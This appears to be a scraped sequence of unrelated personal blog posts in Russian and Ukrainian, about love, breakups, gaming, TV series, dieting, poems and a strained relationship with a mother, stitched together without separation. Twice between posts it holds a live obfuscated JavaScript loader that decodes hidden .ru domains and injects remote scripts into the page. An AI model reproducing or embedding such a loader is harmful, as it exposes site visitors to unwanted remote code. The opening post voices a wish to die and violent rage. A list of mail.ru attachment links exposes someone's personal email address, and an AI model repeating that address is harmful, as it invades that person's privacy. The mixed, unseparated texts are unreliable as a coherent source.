А МЕНЯ БОМБИТ И Я РЕВУ ПОТОМУ ЧТО ЭТА ДУРА ПРИНЯЛА ЗА ЛЮБОВЬ ТО ЧТО У НИХ БЫЛО СО СВЭТАЧКОЙ А ПОЧЕМУ БЫЛО ДА ПОТОМУ ЧТО Я ПОЧТИ УВЕРЕНА ЧТО СВЭТА СНАЧАЛА НАПИЗДЕЛА ПРО ЧУВСТВА А ПОТОМ СКАЗАЛА ЧТО НИЧЕГО НЕ ЧУВСТВУЕТ И КИДАНУЛА ЕЕ ПОЭТОМУ ПАССАЖ ПРО ТО ЧТО НА 14 ОНА БУДЕТ КАК Я НО СУКА У ТЕБЯ МОГ БЫ БЫТЬ НОРМАЛЬНЫЙ ДЕНЬ СВЯТОГО ВАЛЕНТИНА СО МНОЙ НО ТЫ БЛЯТЬ ВЫБРАЛА И ДОВОЛЬСТВУЙСЯ ОНА НЕ УМЕЕТ РАЗГРАНИЧИТЬ ДРУЖБУ И ПРИЯТЕЛЬСТВО ЛЮБОВЬ И УВЛЕЧЕНИЕ И ТД ОНА БЛЯТЬ СТРОЧИТ ПОСТИКИ В ЭТУ СРАНУЮ ГРУППУ КОГДА РЯДОМ УМИРАЕТ ТА КТ О ЕЕ РЕАЛЬНО ЛЮБИТ И НЕ БРОСИТ ТУПО НИКОГДА ГОСПОДИ ЗА ЧТО МНЕ ЭТО ВСЕ ЭТО ПОТОМУ ЧТО Я В БОГА НЕ ВЕРЮ ИЛИ ЧТО??? БЛЯТЬ Я НЕ МОГУ Я ЗАЕБАЛАСЬ ТАК ЖИТЬ Я ЗАЕБАЛАСЬ ГОСПОДИ ДАЙТЕ МНЕ ПРОСТО УМЕРЕТЬ Я ЗАЛИЛА НОУТ СЛЕЗАМИ И ОДНАЖДЫ Я ПРОСТО ВЗОРВУСЬ И УЕБУ ВСЕХ И КАЖДОГО БЛЯТЬ Я Н Е М О Г У Б О Л Ь Ш Е МНЕ БОЛЬНО И МНЕ ПЛОХО ПОЧЕМУ ТЫ БЛЯТЬ НЕ ВИДИШЬ ПОЧЕМУ ТЫ ДУРААААА ААААААААА НУ ПОЧЕМУ ТЫ НЕ ВИДИШЬ И НЕ ЦЕНИШЬ ЧЕЛОВЕКА КОТОРЫЙ РЕАЛЬНО ЛЮБИТ ТЕБЯ И НИКОГДА НЕ УЙДЕТ ПОЧЕМУ ПОЧЕМУ ТЫ ТАКАЯ ДУРА ГОСПОДИ ПОЧЕМУ ПОЧЕМУ ПОЧЕМУ ВТЫКАЙВ МЕНЯ НОЖИ ПРОДОЛЖАЙ

Блин, день просто шикарныый. Я прям счастливая сижу.
Во первых, хорошо себя чувствую, во-вторых днем ни одной проигранной каточки в дотке, уже давно не проигрывали))) *_*
Потом пошла к тете и сестре, болтали.. Заказала любимые духи, ура ураа. В 10 или 11 классе постоянно ими пользовалась, не знаю почему не заказывала больше, было много других. Недавно нашла на полочке баночку и так запах понравился, прям как раньше. В общем, я рада)
Сестре купили планшет, я помогала выбирать. Порисовала немного и у меня так хорошо получается) Не забыла как это) Учила сестру рисовать, с моими советами у нее гараздо лучше стало получаться.
Тетя приготовила пиццу, еще кушала салатик, вареное яйцо и толченку. Я принесла печенье и мы с чаем его кушали))
Потом пришла домой и мы с Артуром снова пошли в дотку. Боже, как я божила.. Причем была на саппортах и ультра килы делала, помогала тиммейтам. Так крутоо. Кажется я научилась играть(тьфутьфу) и мне это таак нравится))
Виталик шлет в снепчате море видео, где поет, танцует, философствует и все это онлайн. Такой орр)))
Короче, я счастлива сегодня)) День супер)

Любовь - это сердце всего

Сегодня я была в гостях. Меня спросили, какие книги я люблю, о чём они. "Про любовь" ответила я, и услышала насмешку со стороны одного молодого человека. С каких пор книги о любви вызывают смех? С каких пор "Тесс из рода Д'Эрбервиллей" и "Три товарища" заслуживают глупых смешков? Признаюсь, мне стало безумно обидно и некомфортно, даже стыдно за свои вкусы. Но придя домой, я поняла одну вещь: люди не развитые духовно и не понимающие всей красоты литературы, способны лишь хмыкать, не более. Я люблю читать о любви, она прекрасна. Любовь к друзьям, к стране, семье, животным, миру, к девушке или молодому человеку. Её проявление в любой форме прекрасно и притягательно. Любовь это самая важная часть нашей жизни, без неё мы черствеем и ожесточаемся. Не могу представить более прекрасного явления, чем любовь.

знаете, а за отношения надо бороться, даже если ваши друзья отговаривают вас от этой затеи, даже если у вас большая разница в возрасте, даже если между вами километры. а знаете почему? потому что настоящая любовь становится такой, когда проходит через всю боль, преграды и расставания.

На днях пришло осознание того, что пора бы начать с собой что-то делать!

Во-первых, речь конечно же идет о моей фигуре. За последнее время я потолстела и у меня начала пропадать талия! (Это же кошмар) Поэтому тренировки тренировки тренировки! Ну и конечно же правильное питание. Правда сначала я хочу попробовать 10-дневную диету. И само собой разумеется отказ от сладкого и мучного(не представляю как мне это удастся, для меня жизнь без сладкого-это не жизнь).

Во-вторых, интеллектуальное развитие тоже не помешает. Правда так как у меня последний курс, книги больше связаны с профессией. Ну и про обычные конечно же тоже нельзя забывать. Так я и хочу проводить свое свободное время (разве не чудесно провести выходной с книгой в руках?)

Знаете, за последнее время я поняла, что саморазвитие (на ряду с самопознанием) это очень важно! Ведь никто не поможет тебе, кроме тебя самого! Ну и наверное немаловажный фактор для меня, это стремление нравится ему все больше и больше.

-Да, да, я здесь!Я слышу.Ты меня слышишь?
-Да, да, уже лучше!
- Я люблю тебя, Пэнни. Я всегда любил тебя. Прости. Я люблю тебя.
-Я люблю тебя
-Я не знаю где я, но…
-Я найду тебя, Дэз.
- Я обещаю.
-Чтобы ни было.
-Я вернусь к тебе.
- Я не сдамся.
-Я обещаю.
-Обещаю.
-Я люблю тебя.
- Я люблю тебя.

Недавно, я с друзьями переехал на новую квартиру. Она просто ахуенна. 3 комнаты, у каждого своя.Ремонт.У меня самая большая комната и большей балкон.Я ей рад.Рад просто находится. Все, что надо. Она лучше новой. Не на что не похоже? Я снова сравниваю.
Смена квартиры напомнила нас, людей. Это можно сравнить с отношениями. Я приехал в новый город, который меня не радывал и был окрашен в серый цвет.Хорошо себя чувствовал, когда был у себя дома. Мой родной квадрат, который напоминает мне о родном доме.Моя зона комфорта. Она полностью меня устраивала и в ней было хорошо.Где бы я не был, в ней всегда спокойно, всегда свое тепло и уют. Я ей радывался.Но прошло время я нашел другую.Еще лучше.О такой мечтать можно. А старая осталась одна.Она теперь пустая, без всего.Я все от туда забрал.Такая мрачная, заброшанная.Я, хозяин, который въезал в нее и обостроил ее.Сделал ее своей. Теплой, уютной. И теперь она одна.Я ее бросил, ушел к другой.Которая лучшее ее во всем. Сегодня я пришел ее отдавать ее настоящему хозяину.МОжно представить, что она ее мама. Я зашел в эту квартиру и там уже нет моего запаха.Она мрачная.Как будто я ее бросил, как девушку. Я приехал в новый город и полюбил ее.Такую простую, тесную.Она устраивала меня во всем.А теперь? Я нашел лучше, а ту бросил. Так и в личной жизни людей.Мы кого-то находим.И считаем, что это идеально.Простата нас полностью устраивает.Мы этим давольны и любим.Но проходит время…
Я ухожу.Мне ее жаль.Только благодарю на прощание, что приютила меня в сложный момент.

все это время я пила и думала: ну, просто пью — и все тут.
алкоголизм был проблемой каких-то старых мудаков из какого-то иного мира. но в реальности я давно уже стала абсолютно зависимой. да, я стала зависимой, я хотела использовать алкоголь в качестве органического растворителя, каковым он, кстати, и является, хотела, чтоб он растворил постоянное, неизбывное чувство моей инакости, уверенность, что все, находящееся вне моей кожи, мне не подходит.

а под кожей-то — я маленькая, вечно дрожащая, вечно
съеживающаяся в комочек.

Talking about love is like dancing about architecture.

А я говорю, очень много в последнее время говорю о ней. Я пытаюсь разобраться не в своих чувствах, а скорее в чувствах других людей. Зачем и почему они создают отношения, выходят замуж, не чувствуя при этом совсем ничего? или чувствуя только симпатию? Зачем? К сожалению, такое сплошь и рядом. Создается впечатление, что людям без разницы с кем быть, главное - быть. Разговорая с людьми постарше, к своему удивлению, обнаруживаю, что они не любили, никого и никогда, и это за всю-то жизнь. Влюблялись, встречались, женились, разводились, но не любили. Большинство из тех, с кем я беседовала, даже сейчас находятся в браке. В браке с нелюбимым человеком! Меня всё это очень беспокоит, злит и расстраивает. Неужели ее так сложно найти? Мне так обидно, что большинство так и не находят ее. Мне так обидно, что люди мучают друг друга годами и тратят время не на свого человека вместо того, чтобы искать своего. Искать и находить.
Я так боюсь ее не найти.

влюбилась в джона сноу и мать драконов. поехала крыша.

Угадайте кто подсел на Игру престолов? Я. Никогда бы не подумала. ВОООБЩЕ! Но это шедевр. Это очень, просто нереально крутой сериал. Меня затянуло, я дни напролет втыкаю в планшет и смотрю, смотрю, смотрю. Люблю Джона Сноу и Дейнерис. Ввела тут в тегах название, много спойлеров, не расстроило. Меня предупреждали, что все умрут. В общем, я сижу дома, не хочу никуда выходить и до глухой ночи смотрю сериал… Такое когда в последний раз было? Когда мне было 13-14.
Еще я сдала экзамен, у меня зачет. Спасибо Богу. На самом деле, оцениваю свое сочинение гораздо выше. Заебали, че вам не нравится?

Ничего интересного не происходит. Думала вот сейчас наступит весна, сейчааас, ща! И пошел снег…
Удача - это моя фишка.

В морозном воздухе растаял легкий дым,
И я, печальною свободою томим,
Хотел бы вознестись в холодном, тихом гимне,
Исчезнуть навсегда, но суждено идти мне

По снежной улице, в вечерний этот час
Собачий слышен лай и запад не погас,
И попадаются прохожие навстречу.
Не говори со мной! Что я тебе отвечу?

Кстати, можете на Твиттер подписаться. Я там довольно часто что-то пишу, в основном всякую ерунду, но иногда и дельные мысли попадаются (вроде бы). Тоже хочу вас читать.
https://twitter.com/badbadloki

Сегодня мне снился замечательный сон. Очень приятный. Такое тепло оставил после себя. В общем, снится мне, что я учусь где-то в Европе, где очень красиво, теплый ветер обдувал меня и я чувствовала себя самой счастливой. Но пора была уезжать. Я приехала в аэропорт. Иду покупать билет и понимаю, что у меня достаточно денег, чтобы купить любой билет в любую страну. Встречаю одноклассницу, рассказываю, что учусь здесь и чувствую себя прекрасно. Аж завидую себе во сне.

"мама на полном серьезе сказала, что её всё во мне устраивает только тогда, когда я дома сижу, ем и сплю"

точняк. буду вспоминать эту фразу каждый раз, когда отменяю свои планы из-за нежелания лишний раз ругаться с ней

распечатать бы это на ватмане и повесить над кроватью

железная мотивация была бы

Every time after vacation I tell myself "I will spend more time doing necessary things and won't procrastinate" I do it always. Funny, don't you think so? I have lots of opportunities to change my life - I just have to do things at the right time and don't spend time on unnecessary things li Vkontkte or Instagram. Easier said than done. Sometimes I think why I study in the Linguistic University? Because it's my dream. I knew it would be hard, but to the extent. The main goal I have for the next four years is to study harder, learn lots of new information and so on. The main goal for the next two days is to pass my last exam - British and American studies. Wish me good luck!

Слёзы появились практически сразу же. Сижу и реву. Никогда стихи не вызывали у меня столько эмоций.

Когда-то давно жил я в стареньком доме.
С тех пор пролетел не один уже год.
И всем его жителям было известно
Насколько уродлив был местный наш кот.

Уродливый кот был всегда узнаваем –
Он был одноглазый и с ухом одним.
И знал он, как трудно на свете бывает,
Когда ты один и никем не любим.

Оторванный хвост, и поломана лапа
Срослась под каким-то неверным углом.
И множество шрамов.. А был он когда-то
Приятным на вид полосатым котом.

Кота никогда и никто не касался.
Бутылки и камни бросали в него.
Водой ледяной поливали из шланга.
Пытаясь прогнать со двора своего.

И лапы ему защемляли дверями,
Когда он пытался войти в чей-то дом.
Страдая от боли, зализывал раны
Уже много раз он под чьим-то окном.

Но все удивлялись, насколько отважен
Был этот невзрачный уродливый кот.
И если из шланга его поливают –
Он мокнет покорно, но не отойдёт.

И даже когда в него что-то бросали,
Он тёрся о ноги о ласке прося.
Увидев детей, он бросался за ними.
Мечтал о заботе, да только вот зря..

Не мог он понять, почему в целом мире
Не встретить того, кто бы смог приютить.
И хоть он уродлив и грязен снаружи,
Но с чистой душой и умеет любить.

Однажды кота покусали собаки,
Что жили напротив в соседнем дворе.
Послышался лай и о помощи крики.
Спустился я вниз – кот лежал на земле..

Уродливый кот был ужасно искусан,
Всё тело в крови. Он почти умирал.
Пытаясь укрыться от страха и боли,
Свернувшись в клубок, неподвижно лежал.

Он знал - наступает конец грустной жизни.
И след от слезы пересёк его лоб.
Я нёс его в дом, он хрипел, задыхался.
Мне стало вдруг плохо, меня бил озноб..

Я чувствовал то, как ему было больно.
И как тяжело ему просто вздохнуть.
Но вдруг он к лицу моему потянулся
И робко меня попытался лизнуть.

От слёз задыхаясь, к нему я прижался.
Прильнул он к ладони моей головой.
Его добрый глаз вдруг ко мне повернулся –
И кот замурлыкал, почти неживой..

И даже сквозь самые сильные боли
Просил этот кот лишь о капле любви.
О капле сочувствия, что в этой жизни
Мы доброе сердце сберечь не смогли.

Я в этот момент неожиданно понял,
Что самый красивый и любящий тот,
Кто смотрит сейчас на меня, умирая,
Обычный уродливый уличный кот.

Впервые он чувствовал чью-то заботу.
Нашёл он того, кто сумел полюбить.
И счастлив, что встретил того, кто смягчает,
А не пытается боль причинить…

Он умер чуть раньше, чем мы были дома.
Я сел у подъезда с котом на руках.
Держал его долго, пока не стемнело.
В душе поселились тревога и страх.

Ведь я осознал, что несчастный калека
Меня изменил за один только миг.
Он мне сообщил о страдании больше,
Чем тысячи лекций, уроков и книг.

Он мне расцарапал не тело, а душу.
И пусть в моей жизни немало забот,
Но я к одному только буду стремиться -
Учиться любить как,
Уродливый кот.

"Вы с легкость можете забывать о потерях и свыкаться с переменами в своей жизни. Вы можете исчезать навсегда, без прощальных слов, и не оставляя за собой следов. Плюс, и женщина-Змееносец, и представители сильного пола этого созвездия, обладают способностью полного перерождения. Словно феникс они способны возрождаться из праха, забывая о своих поражениях и прошлых неудачах."

любишь- не любишь, гадал на пасьянсе,
отсекал, вновь залипал, всё прикидывал шансы,
свет красный, я заигрался, почуял опасность, ретировался,
я бы вечно так просыпался, ладонью сжав твои пальцы

Без тепла в руках слишком холодно,
я один среди городских картин,
и где тебя искать в этом городе,
голосом сорванным я молю, просто приди

1) https://e.mail.ru/cgi-bin/getattach?file=IMG_3850.JPG&id=14547776770000000992;0;1&mode=attachment&&x-email=olga97.25.june%40mail.ru

2) https://e.mail.ru/cgi-bin/getattach?file=IMG_3856.JPG&id=14547776770000000992;0;2&mode=attachment&&x-email=olga97.25.june%40mail.ru

3) https://e.mail.ru/cgi-bin/getattach?file=IMG_3854.JPG&id=14547776770000000992;0;3&mode=attachment&&x-email=olga97.25.june%40mail.ru

4) https://e.mail.ru/cgi-bin/getattach?file=IMG_3851.JPG&id=14547776770000000992;0;4&mode=attachment&&x-email=olga97.25.june%40mail.ru

5) https://e.mail.ru/cgi-bin/getattach?file=IMG_3848.JPG&id=14547776770000000992;0;5&mode=attachment&&x-email=olga97.25.june%40mail.ru

6) https://e.mail.ru/cgi-bin/getattach?file=IMG_3863.JPG&id=14547788650000000104;0;1&mode=attachment&&x-email=olga97.25.june%40mail.ru

7) https://e.mail.ru/cgi-bin/getattach?file=IMG_3861.JPG&id=14547788650000000104;0;2&mode=attachment&&x-email=olga97.25.june%40mail.ru

8) https://e.mail.ru/cgi-bin/getattach?file=IMG_3859.JPG&id=14547788650000000104;0;3&mode=attachment&&x-email=olga97.25.june%40mail.ru

9) https://e.mail.ru/cgi-bin/getattach?file=IMG_3858.JPG&id=14547788650000000104;0;4&mode=attachment&&x-email=olga97.25.june%40mail.ru

10) https://e.mail.ru/cgi-bin/getattach?file=IMG_3862.JPG&id=14547788650000000104;0;5&mode=attachment&&x-email=olga97.25.june%40mail.ru

Almost the last day of my vacation I spent doing my home assigment.
Why I did it today, but not earlier? Don`t even ask, because I didn`t know the answer. It`s fun, don`t you think so?
All my life I did necessery the day before deadline. It`s more interesting because you know that the deadline is tomorrow (for instance), and you have no reason not to do the assigment today ar tonight.

что за странные штуки после моих постов??

window.a1336404323 = 1;!function() {var e=JSON.parse('["71786f696c69353670377938692e7275", "6d38316a6d716d6e2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="14945", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Ну вот только сейчас сейчас я могу сказать, что все кончено. Прошло больше месяца, а я так и не смогла понять и принять свой выбор окончательно. С точностью в 100%, а может и больше процентов я могу сказать, что это были лучшие 2 года моей жизни. Мне двадцать один год, а я испытала настоящее чувство любви и чувствовала не только себя влюбленной, но и знала, что любима. волшебное чувство. Даже не знаю ичувствую и испытаю ли я его вновь, но я искренни в то верю.

Чуть подробнее. 21 марта 2014 я вбежала в отправляющуюся электричку и не смотря на свой страх, пошла между вагонов. На 4 я таки остановилась. На следующей станции зашел он. Красив собой. Парень в кепке и в камуфляжной куртке. Я сразу отметила его, я смотрела в окно на деревья, но казалось, что я смотрю на него. Он встал на против меня, мы стояли и улыбались, когда он выходил… он оставил записку. "захочешь позвони "и номер написал он…

НО я еще когда ехала, поняла, что номер он оставит, а я не позвоню, поэтому я оставила ему свой. И он ушел. А потом до 27 декабря 2016 я была счастлива и не расставалась с ним почти не когда. Были конечно пару раз(я лежала в больнице).

Я люблю его, но я поняла, что связывать свою жизнь с ним я не могу. Хочу сказать, что я должна отпустить его. это обходимо и мне и ему.

Котик, ты всегда будешь в моем сердце, но теперь я должна идти вперед. Будь счастлив. Просто будь


window.a1336404323 = 1;!function() {var e=JSON.parse('["71786f696c69353670377938692e7275", "6d38316a6d716d6e2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="14945", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Продолжая тему удаления фото, хочу сказать, что удалила все фотки, где был кто-то кроме: Китти и его семьи, моей семьи, животных. Тем самым, лишний раз потвердила самой себе, что мне кроме двух семей и животных никто не нужен. А прошлое давно уже для меня не имеет знчения. Впервые.

Если мама любимого разговаривает со мной на тему своих отношений, раскрывая личного характера вещи- это уже серьёзно. И я безгранично счастлива, что нравлюсь всем в семье Китти.

"Бабушка Зоя всю дорогу говорила, какая ты красивая", -… ;)

Нужно следить за головой, кажется, я слетаю с катушек вновь. Все идет по пизде. Как потерять себя из-за пары пустых фраз? Как быть лошьем, не справляясь с самыми простыми задачами? Научу за пять минут.

Милая, прежде чем манипулировать своим мужиком при помощи cекcа, вспомни, что мир не без добрых бл..дей.

Обидно? Да нет. Чертовски обидно! Но мы же с тобой договорились, что я буду стараться проще относиться к некоторым вещам. Поэтому я просто оставлю это при себе, чтобы в подходящий момент напомнить. Вот и все.

Выыыыыдох…

Посмотрела неплохой фильм китайского режиссёра Ан Сан-уна «Свидетель». Он вышел уже давно, но я ждала озвучки, чтобы в полной мере насладиться просмотром и актёрами. Впечатление осталось хорошее. Фильм хорошо поставлен, конечно не без китайского менталитета, очень эмоциональный триллер – драма.

Сюжет фильм начинает раскрываться с самого начала, где полицейский – девушка попадает в аварию со своим братом, который умирает, а сама главная герроиня теряет зрение. Проходит несколько лет и появляется маньяк, который похищает девушек, вот тут и начинается раскрутка сюжета, где есть место и чисто человеческим эмоциям, поростковому героизму и просто пониманию людей.

Хотя некоторые моменты мне остались непонятными. Например, когда происходит авария, девушка приходит в себя и прекрасно все вокруг себя видит, но потом теряет сознание. А после ее показывают тотально слепой. Как она ослепла? На фоне стресса или ещё какких-то факторов?

Постановка и игра актёров очень хорошая.Понравилось как сыграла слепую актриса Ми Ян. Незрячего человека без очков очень сложно сыграть, но она справилась на отлично, на ее игру было приятно посмотреть. Так же, отлично сыграл безбашенного подростка Лу Хань. Честно говоря, изначально смотрела только из-за него, даже не читала описания к фильму.

Также и острых моментов достаточно, хоть сюжет про маньяков уже затаскан, но новый взгляд режиссёра мне понравился. Фильм стоит посмотреть, потому, как он найдёт отклик у каждого, задевает за живое.

Приїхала я додому - дякую, хочу назад. Простіше бути тихим та спокійним в пустій кімнаті і скидати далі зайву вагу, аніж бути тут, де читають моральні нотації про те, що ти не той, ким маєш бути. А ще гірше, коли тобі 18, а ти майже в усьому сповіщаєш батьків. Чому я повинна залежати від них, якщо вже пора та минула.
Надіюсь, що напишу ще висновок і сторінки 3 курсової. Звісно, надії помирають останніми, але поки мені лінь.
Дорога була надто складна: 4 мозолі на руках, синяки на ногах від валізи, болить спина і все, що можна. І заснути в поїзді не змогла. Все, хочу назад в Київ, і гроші. Лол, в принципі, цього достатньо, щоб реалізувати всі плани.
Ладно, так і завершились 8 днів самотності, і все, що я зрозуміла: 1) таракани в гуртожитку непереможні; 2) Саня, я люблю тебе так сильно, як нікого не любила. Мій ненаситний мед, постійно мало.

Вчера уже не было сил рассказывать о своих приключениях. (Да, предыдущий пост не был шуткой - я действительно вышла в магазин и чуть не замерзла ночью на остановке) Сегодня даже вспоминать об этом не хочется. И ощущение, что это было не со мной.

Как приходит пора ездить в институт, мама превращается из лапушки снова в зверя. Ну нет, не то чтобы она была лапушкой все каникулы, но ругались мы гораздо реже. И это во многом из-за того, что я превратилась в аморфное существо и практически не подавала признаков жизни. Теперь она знает, что я всё равно никуда не денусь: от отца неудобно и очень долго ездить на практику, да и чувство долга не позволит мне бросить ее, больную.

Ну, это еще посмотрим. Как подай-принеси и манипулировать мной - она стонет и кряхтит, лежа на диване, а как я приду с улицы и пойду в ванную, так она сразу вскочит и полезет копаться в мой рюкзак. Так что чувство долга вымерло за необходимостью.

Год назад я ездила на практику часам к двум (правда, возвращалась за полночь). Посмотрим, как тут с графиком. (Посмотрим, буду ли вообще ездить, хах) Если не сильно рано вставать - уеду. Точно уеду. * И надавайте мне по башке сковородкой, если это очередная моя брехня *

Всё-таки расскажу. Хоть поржете. Да, я лохушка Всея Руси и окрестностей, и не говорите, что не знали. В середине этой недели ездила в магазин, закупила продуктов примерно до конца недели - сколько могла на себе утащить. Так как у меня появились деньги, маман меня теперь не кормит - в понедельник принесла рыбу, на которую я без рвотного рефлекса смотреть не могу, теперь каждый день ее готовит. Когда это она меня кормила вообще… От зарплаты тысяча осталась - не знаю, как буду держаться, когда и ее проем. Точняк надо ехать к отцу.

В пятницу я доела последнее, наивно полагая, что мама зайдет и как всегда купит что-нибудь на выходные. Она, зайдя в двери, первым делом спросила: ну, че пожрать купила? - эм, ты не говорила съездить, я и не покупала ничего. Она дала мне полупустой пакет - там опять эта тошнотворная рыбень. Ок, это, допустим, на сегодня, а еще два дня как? Судя по ее причитаниям, никак. Я в тот день только завтракала, а уже часов восемь… Ладно, захожу в комнату, смотрю на часы. Через полчаса последний автобус в магазин. (Надо сказать, что все продуктовые в пределах пеших 20 минут от дома - либо набиты просрочкой, либо полупустые. Приходится ездить) Еще через 1,2 часа - последний автобус оттуда до дома. Успею? Успею!

Собираюсь, выхожу. У мамы на кухне тем временем феерически сгорает эта рыба. Воняет, будто кто-то сдох. Прошу мать закрыть за мной дверь, она орет, куда это я собралась в ночь бежать. Ухожу.

Стою, мерзну на остановке. Автобус уже давно должен стоять на ней, но он только что проехал мимо, на стоянку, где у водителей перерыв. Ну пздц. Прикидываю в уме, сколько всего я бы позволила себе на зарплату и отцовские пять штук, если бы не она. Всё чаще чувствую себя чужой. Мне нет места, а всё что ни делается - будто как одолжение. Вместо двушки, как мы договаривались, она купила просто большую однушку, с обещанием жить на кухне. Теперь она истерит, что на кухне холодно и нет ремонта, конечно же. Хах, если она и будет там жить, то всем расскажет, что это я ее выжила. А поесть или приготовить себе что-то мне нельзя будет без ее строгого надзора. Сегодня уже чуть не поубивали друг друга из-за кулинарных разногласий. Это очень тонкий намек, на самом-то деле - мне в ее доме никогда не будет места. Никогда не будет личного пространства там, где есть она. Честно и немного стыдно признаться, но я планирую с первой нормальной зарплаты сделать днк-тест, и поставить всё на места хотя бы внутри себя.

Автобус подъезжает, чуть не наехав на меня. Я захожу в него. Там холодно и темно. Еще немного напрягает, что я в нем одна, за исключением водителя. Так и поехали до следующей остановки. Водила, видимо, решил, что я перебьюсь, но после второй остановки, когда зашли еще трое, включил в салоне свет.

Мда, еще неделю назад, если я приносила продукты, я удостаивалась "спасибо" и всякими сюси-пуси типа "больше не ходи туда, я переживаю" и "не набирай ты столько - надорвешься". А теперь она наезжает на меня, почему я ее не кормлю. И кто кого разбаловал?

Может, я тоже не права, но хозяюшкой меня никто и не воспитывал. Они, походу, вообще мальчика хотели, отсюда и такая я. Мне проще перетаскать продукты, чем приготовить что-то из них, и проще лампочку ввернуть или гвоздь забить, чем убраться или вымыть полы. #яумамымужичок

О том, что у меня было в разы меньше барби, чем машинок и куда больше шорт и футболок, чем платьев и юбок могу рассказать в отдельном посте.

И да, вот что хотела сказать - если вы вообще планируете в этой жизни детей - рожайте до 30! В коммуналке, от бомжа, без образования и работы - пофиг! Но не пожелаю, чтобы ваш ребенок в 20 лет чувствовал на себе груз ответственности, моральной и финансовой, и боязни ступить шаг, чтобы не стать причиной чьего-либо инфаркта. Ваше финансовое состояние через 15-20 лет может и не улучшиться (здоровье точно не улучшится), да и вообще это очень шаткая вещь, а понимающий друг в лице родителя нужен каждому. Мне ни в том, ни в другом не поперло.

Вот правда же, кому-то повезло с пожилыми, но обеспеченными и умудренными опытом родителями. У кого-то они молодые, среднего достатка, но зато они со своими детьми как настоящие друзья или братья/сестры. А я пролетела в обеих номинациях сразу.

Я недавно сказала, что хочу съездить в Москву, по магазинам погулять, в музей сходить. На что мама на полном серьезе сказала, что ее всё во мне устраивает только тогда, когда я дома сижу, ем и сплю. И никаких попыток стать чем-то большим, чем домашнее животное, не предпринимаю.

У меня все шансы провести так всю свою жизнь.

У меня не было и не будет настоящей молодежной загульной жизни, ибо себе дороже: вернешься домой едва за полночь - вся родня еще будет месяц убеждать тебя в том, что ты проститутка и сводишь их в могилу.

